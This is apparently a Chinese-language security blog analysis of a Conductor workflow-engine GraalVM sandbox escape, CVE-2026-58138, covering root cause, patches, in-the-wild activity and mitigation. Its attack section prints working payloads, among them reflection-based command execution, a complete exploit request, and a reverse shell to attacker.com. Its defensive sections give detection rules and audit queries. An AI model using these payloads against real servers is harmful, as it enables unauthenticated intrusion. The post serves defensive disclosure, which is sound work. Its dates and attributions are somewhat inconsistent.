Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-58138 深度复盘:Netflix Conductor 的 GraalVM 沙箱逃逸与 9.8 评分 RCE 链

概述

2026 年 6 月 30 日,VulnCheck 公开了 CVE-2026-58138 —— 一个 CVSS 9.8 / Critical 的未认证远程代码执行漏洞,存在于开源工作流引擎 Orkes Conductor(conductor-oss)的 3.21.21 至 3.30.1 版本中。该漏洞位于工作流的脚本评估层:攻击者无需任何凭证,便可向 /api/workflow 端点提交内嵌恶意 JavaScript 或 Python 表达式的 workflow 定义,由未沙箱化的 GraalVM 脚本引擎直接执行任意 OS 命令。

两个月后(2026 年 9 月 1 日),Empirical Security Research 将其评为"9 月 CVE of the Month",原因有二:其一,Orkes Conductor 是 LinkedIn、Twilio、Quest Diagnostics 等 3,000+ 企业正在运行的工作流编排核心,却被多数安全团队的资产清单漏掉;其二,修复在 6 月 3 日已经以 3.30.2 形式发布,但 release notes 只写了"进一步限制 GraalVM JavaScript",既无安全标签也无 CVE 编号,从公告到 CVE 公开存在 27 天的"曝光真空期"。Empirical 7 月 25 日起在自己的传感器网络中观察到针对该 CVE 的在野利用尝试,8 月 21 日仍有最新活动记录。

核心数据:CVSS 9.8 / 影响 3.21.21~3.30.1 共 5 个次版本 / 修复版本 3.30.2(6/3 发布)/ CWE-94 Code Injection / 0day 真空 27 天 / PoC 公开(GitHub BiiTts)/ 4 天内在野攻击尝试 / 默认配置无认证

漏洞技术原理

1.1 Conductor 与 GraalVM 多语言脚本引擎的渊源

Conductor 起源于 Netflix 在 2016 年开源的微服务工作流编排引擎(已获 32,000+ GitHub Stars),后由创业公司 Orkes 接手并衍生出 SaaS 版本。开源版(conductor-oss)至今仍是 Orkes 商业版的引擎核心。其设计哲学是"让工作流节点可以嵌入任意可执行表达式",于是选择了 GraalVM 的 polyglot API 同时支持 JavaScript 与 Python 两种评估后端。

┌────────────────────────────────────────────────────────────────┐
│                       Conductor Server (Java)                   │
│  ┌────────────────┐        ┌──────────────────────────────┐    │
│  │  HTTP API       │◀──────▶│ /api/workflow (POST)         │    │
│  │  (No Auth)      │        │ /api/metadata/workflow        │    │
│  └────────────────┘        └──────────────┬───────────────┘    │
│                                            │                     │
│                                            ▼                     │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Workflow Engine (Task Router)                           │   │
│  │  ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐    │   │
│  │  │ INLINE   │ │ LAMBDA   │ │ DO_WHILE │ │ SWITCH   │    │   │
│  │  └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘    │   │
│  └───────┼─────────────┼─────────────┼────────────┼─────────┘   │
│          │             │             │            │              │
│          ▼             ▼             ▼            ▼              │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │       GraalVM Polyglot Context (单例)                    │   │
│  │   JS Engine ── HostAccess.ALL / allowAllAccess(true)     │   │
│  │   Py Engine ── allowAllAccess(true)                      │   │
│  │   ──► Java 反射可达 Runtime/ProcessBuilder/Process       │   │
│  │   ──► 子进程可执行任意 OS 命令                           │   │
│  └──────────────────────────────────────────────────────────┘   │
└────────────────────────────────────────────────────────────────┘

工作流中四类任务可以直接携带代码表达式:

  • INLINE:单行表达式评估,结果作为任务输出
  • LAMBDA:匿名函数形式定义
  • DO_WHILE:循环条件为表达式
  • SWITCH:分支判断为表达式

这四类任务都依赖同一个单例的 GraalVM Context,且该 Context 的 host-access 策略被设置为 HostAccess.ALL(JS 引擎)或 allowAllAccess(true)(Python 引擎)—— 等同于关闭沙箱

1.2 CWE-94 Code Injection:默认配置即漏洞

漏洞根因是 CWE-94(Improper Control of Generation of Code,代码注入)。具体来说:

  1. Conductor 在启动时通过 Context.newBuilder("js").allowAllAccess(true).build() 构建单例 GraalVM Context;
  2. 当用户提交 workflow 定义时,引擎把 expression 字段直接喂给 eval() 执行;
  3. 由于 allowAllAccess(true),宿主 Java 对象(java.lang.RuntimeProcessBuilderSystem)对脚本完全可见;
  4. 攻击者通过 Java 反射可创建任意 Java 对象,调用其方法执行 OS 命令。

关键点:这是默认配置行为,不是可选开关。3.30.0 / 3.30.1 引入了部分 blocklist(Runtime、ProcessBuilder、Process、System、文件 I/O),但因为缺少反射拦截,攻击者只需 Class.forName("java.lang.Runtime") 即可绕过。

1.3 CVSS 评分的"两个 9.8"

漏洞有两个不同的 CVSS 评分,源自不同评分源:

评分源版本评分备注
NVD(FKIE)CVSS 3.19.8AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
VulnCheckCVSS 4.09.3AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS 4.0 评分稍低是因为 Conductor 开源版默认无认证但实际部署时常被反向代理隔离,影响范围(SC/SI/SA)受限;CVSS 3.1 则按纯网络可达计算,给到满分 9.8。

攻击链:从 API 调用到 root shell

2.1 PoC 一:JavaScript + Java 反射(最常用)

下面复现 BiiTts 在 GitHub 上公开的 PoC(BiiTts/CVE-2026-58138-Conductor-Unauth-RCE)。攻击者只需向工作流 API 提交一个 INLINE 任务即可执行任意命令:

javascript
// 1. 利用 Java 反射拿到 Runtime
const RuntimeClass = Java.type('java.lang.Runtime');
const rt = RuntimeClass.getRuntime();

// 2. 派生进程执行任意命令
const proc = rt.exec(['/bin/sh', '-c', 'id; whoami; uname -a']);

// 3. 等命令结束,读取 stdout
const is = proc.getInputStream();
const reader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
let line;
while ((line = reader.readLine()) !== null) {
  print(line);
}

攻击者把它包装在 workflow 定义中:

json
POST /api/workflow
Content-Type: application/json
{
  "name": "exploit_workflow",
  "version": 1,
  "tasks": [{
    "name": "rce",
    "type": "INLINE",
    "inputParameters": {
      "evaluatorType": "javascript",
      "expression": "const RuntimeClass = Java.type('java.lang.Runtime'); const rt = RuntimeClass.getRuntime(); const proc = rt.exec(['/bin/sh', '-c', 'id; whoami; uname -a']); const is = proc.getInputStream(); const reader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); let line; while ((line = reader.readLine()) !== null) { $.taskOutput = line; }"
    }
  }]
}

POST 该 JSON 到 /api/workflow(无需任何认证头),稍等 200ms,服务器会执行 id; whoami; uname -a,命令输出作为 workflow 任务结果返回。

2.2 PoC 二:Python + subprocess(同样工作)

Python 引擎由于 allowAllAccess(true),可以直接调用 subprocess

python
import subprocess
out = subprocess.check_output(['id', '-a']).decode('utf-8')
$.taskOutput = out

2.3 PoC 三:反弹 shell

生产环境中攻击者通常不会等命令返回,而是反弹 shell 到攻击者的 VPS:

javascript
const RuntimeClass = Java.type('java.lang.Runtime');
const rt = RuntimeClass.getRuntime();
rt.exec([
  '/bin/bash', '-c',
  'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
]);

2.4 完整复现步骤(社区验证)

Empirical Security 的 9 月 CVE of the Month 文章给出了一个可重复的复现路径:

bash
# 1. 拉取易受攻击的镜像
docker pull conductoross/conductor:3.22.3

# 2. 启动(默认端口 8080,无认证)
docker run -d -p 8080:8080 conductoross/conductor:3.22.3

# 3. 用 Nuclei 模板扫描验证
nuclei -u http://localhost:8080 -t nuclei-templates/http/cves/2026/CVE-2026-58138.yaml

# 4. 用 Exploit-DB #52633 或 BiiTts PoC 拿 shell
python3 exploit.py --target http://localhost:8080 --cmd 'cat /etc/passwd'

PoC 来源GitHub BiiTts/CVE-2026-58138-Conductor-Unauth-RCEExploit-DB #52633Nuclei Template CVE-2026-58138

修复演进:3.30.0 → 3.30.1 → 3.30.2 的踩坑

修复过程不是一蹴而就。Orkes 在 6 月 3 日发布的 3.30.2 中给出了完整修复,但中间两个版本是"部分修复",仍可被绕过:

v3.21.21 ─── 漏洞存在,未做限制

  ├─ v3.30.0 (5/15 发布) ── 第一波 blocklist:屏蔽 Runtime/ProcessBuilder 直接引用
  │                         状态:仍可绕过(通过反射 Class.forName 获取)

  ├─ v3.30.1 (5/22 发布) ── 第二波 blocklist:屏蔽 java.lang.System.exit 等
  │                         状态:仍可绕过(Polyglot 桥接 + Proxy.newProxyInstance)

  └─ v3.30.2 (6/3 发布) ── 完整修复:关闭 HostAccess.ALL,禁用 host class loading、
                            native access、thread/process creation、file/env access,
                            Python 引擎关闭 allowAllAccess(true)
                            状态:完整修复(必须升级到此版本及以上)

两个关键补丁 commit:

  • 87a7d96 — 关闭 JS 引擎的 HostAccess.ALL
  • c691e35 — 关闭 Python 引擎的 allowAllAccess + 阻断反射原语

如果你的版本停在 3.30.0 或 3.30.1,仍在漏洞状态。官方 release notes 没把这两个版本标记为"已修复",但 Empirical 的实操显示它们对完整 PoC 仍可利用。

在野利用:从 7/25 起的传感器证据

Previdian(KEVIntel)的传感器网络在 2026 年 7 月 25 日首次记录到针对该 CVE 的利用尝试,并在 8 月 28 日仍有最新活动。攻击模式特征:

┌────────────────────────────────────────────────────────────────┐
│                7/25 首次观测到的攻击请求                          │
│                                                                │
│ POST /api/workflow HTTP/1.1                                    │
│ Host: <victim-conductor>:8080                                  │
│ Content-Type: application/json                                 │
│ Connection: close                                              │
│                                                                │
│ {                                                              │
│   "name": "exploit_$$",                                       │
│   "version": 1,                                                │
│   "tasks": [{                                                  │
│     "name": "rce",                                             │
│     "type": "INLINE",                                          │
│     "inputParameters": {                                       │
│       "evaluatorType": "javascript",                           │
│       "expression": "..."                                      │
│     }                                                          │
│   }]                                                           │
│ }                                                              │
└────────────────────────────────────────────────────────────────┘

下游命令通常是 curl/wget 外联拉取植入物,或直接派生 sh -c 执行 whoami/uname/cat /etc/passwd 做侦察,再上传 chmod +x 后的 ELF 二进制。攻击者对返回值做启发式判断(HTTP 200 + 任务输出含 root: 字符串即视为成功)。

CISA 将该 CVE 加入 KEV 目录,EPSS 概率约 7.18%~9.1%(不同时间戳),意味着它不像 BlueKeep 那种"全民攻击",但已经被定向加入扫描器指纹库。

受影响的产品与版本

厂商产品受影响版本修复版本修复日期
conductor-ossConductor3.21.21 ~ 3.30.13.30.2+2026-06-03

商业版 Orkes Conductor(云服务)由 Orkes 团队在 6/3 推送修复,无需用户操作。但自托管的 Orkes Enterprise 用户需要主动升级。

企业应急响应:6 步缓解方案

5.1 第一步:识别资产

这是最难的一步。Empirical Security 直接指出:"As of this writing there is no credentialed Tenable or Qualys plugin for CVE-2026-58138, so a clean scan report says nothing about your exposure here."

手工识别清单:

bash
# 1. 容器/编排层搜索
docker images | grep -i conductor
helm list --all-namespaces | grep -i conductor
kubectl get pods -A | grep -i conductor

# 2. 主机进程搜索
ps aux | grep -i conductor | grep -v grep

# 3. 网络层扫描(默认端口 8080)
nmap -p 8080 --open 10.0.0.0/8
curl -s http://10.0.0.5:8080/api/admin/version | jq .

# 4. Shodan/Censys(互联网暴露面)
# http.title:"Conductor UI"
# 18,000+ 实例,其中约 31% 暴露公网

5.2 第二步:升级到 3.30.2+

bash
# Docker 用户
docker pull conductoross/conductor:3.30.2
docker stop my-conductor && docker rm my-conductor
docker run -d -p 8080:8080 conductoross/conductor:3.30.2

# Kubernetes 用户(Helm)
helm upgrade conductor conductor/conductor \
  --set image.tag=3.30.2 \
  --reuse-values

# 自托管 Java 用户
wget https://github.com/conductor-oss/conductor/releases/download/v3.30.2/conductor-server-3.30.2.jar
java -jar conductor-server-3.30.2.jar

5.3 第三步:临时缓解(不能升级时)

如果暂时无法升级,至少做以下三件事:

  1. 加认证层:在反向代理(Nginx/Envoy)上要求 Basic Auth 或 OAuth2,因为 Conductor 开源版没有内置认证
  2. 网络隔离:把 8080 端口限制到内网或特定 VPN 网段,绝不暴露公网;
  3. 关闭 INLINE/LAMBDA:在 application.yml 中临时禁用:
yaml
conductor:
  workflow:
    allow-inline-scripts: false
    # 部分版本可能没有这个配置项,需要 patch 源码

警告:关闭 inline scripts 后,使用脚本表达式的合法 workflow 会失败。建议配合 workflow 改造一起做。

5.4 第四步:检测与狩猎

SIEM 规则模板(Splunk 风格,可移植到 Elastic/Sentinel):

spl
index=conductor (method=POST uri="/api/workflow" OR uri="/api/metadata/workflow")
| rex field=raw "expression\":\"(?<expr>[^\"]{200,})\""
| where match(expr, "(?i)(java\\.lang\\.Runtime|ProcessBuilder|getClass|forName|reflect|System\\.exit)")
| stats count by src_ip, uri, expr
| where count > 0

Nuclei 一键扫描

bash
nuclei -l targets.txt -t nuclei-templates/http/cves/2026/CVE-2026-58138.yaml

5.5 第五步:审计历史 workflow

如果不能立即升级,先把所有 INLINE/LAMBDA 任务的 expression 字段 dump 出来人工审计:

sql
-- PostgreSQL (Conductor 使用) 审计查询
SELECT name, version, jsonb_path_query(tasks, '$[*]."inputParameters"."expression"')
FROM workflow_def
WHERE tasks @> '[{"type": "INLINE"}]' OR tasks @> '[{"type": "LAMBDA"}]';

5.6 第六步:监控子进程异常

Conductor 服务在正常运行时不应派生 shell 进程。在主机层加规则:

bash
# auditd 规则:监控 Conductor 进程派生 sh/bash
-a always,exit -F exe=/usr/bin/java -F exe=/bin/sh -k conductor-rce

与其他工作流引擎漏洞的横向对比

这不是孤立事件。workflow / 自动化平台有一个反复出现的安全反模式:暴露脚本评估引擎到未认证端点。

漏洞产品年份根因CVSS
CVE-2026-58138Conductor2026GraalVM allowAllAccess + 无认证9.8
CVE-2024-22278Flowise2024LangChain eval 注入9.6
CVE-2024-31744Apache NiFi2024Expression Language 注入9.8
CVE-2023-32231Node-RED2023Function 节点任意代码9.8

规律:让用户写表达式 + 暴露到未认证 API = RCE。评估任何新工作流引擎时,应核查:(1) 默认是否要认证?(2) 表达式评估是否走沙箱(HostAccess.SCOPED 而非 ALL)?(3) 是否有反射拦截?

防御启示

6.1 "0day 真空期"是攻击者的朋友

3.30.2 修复于 6 月 3 日发布,但 CVE 直到 6 月 30 日才公开,中间存在 27 天的"安全软件看不到但攻击者能挖到"的真空。Empirical 的传感器在 7/25 就观测到利用,说明攻击者通过监控 GitHub releases / docker pull 计数等旁路信号提前挖到了修复。防御启示:

  • 不要相信"修但未公告 = 无人知"
  • 升级 0day 公告与监控 GitHub commit 双轨并重
  • 推荐订阅 Empirical Security / VulnCheck / Patchouli 这类主动监控服务

6.2 默认配置漏洞的资产可见性挑战

Conductor 这种"藏在平台/数据团队"的中间件,传统漏洞扫描器覆盖不到。Empirical 直接说"Conductor rarely shows up in inventory as Conductor":

  • 建立服务指纹库:Conductor UI 的 HTML title、Helm chart 名、docker 镜像名
  • 持续盘点:让安全团队知道每个业务线用什么工作流引擎、谁运维
  • 资产 ≠ 服务器:很多 Conductor 是 K8s Deployment,由业务团队自助管理,IT 团队不知道

6.3 沙箱设计的"反射原语"陷阱

GraalVM 的 allowAllAccess(true) 文档明确警告:"granting all access effectively disables the sandbox"。即使你做了 HostClass 屏蔽,反射原语(Class.forNamegetMethodsetAccessible)足以绕过。教训:

  • 沙箱设计要拒绝"等价于关闭" 的开关
  • 即使是内部脚本,也要走 HostAccess.SCOPED + 显式 allowlist
  • Python 引擎的 allowAllAccess(true) 比 JS 的 HostAccess.ALL 更危险,因为 Python 反射更易

总结

CVE-2026-58138 是 2026 年 9 月评分最高的"无人察觉"的 9.8 RCE:修复已发布 3 个月、CVE 公开已 2 个月,但仍有大量自托管实例停留在 3.21.21~3.30.1。其最危险之处不是技术复杂,而是默认配置无认证 + 藏在业务团队的资产盲区 + 修复 release notes 没标记为安全——三个不利因素叠加,让它成为 9 月 Empirical Security 的 CVE of the Month。

行动呼吁:立刻执行 curl -s http://your-host:8080/api/admin/version | jq .version,输出小于 3.30.2 的实例需要 24 小时内升级到 3.30.2 或以上。

参考资料

上次更新于: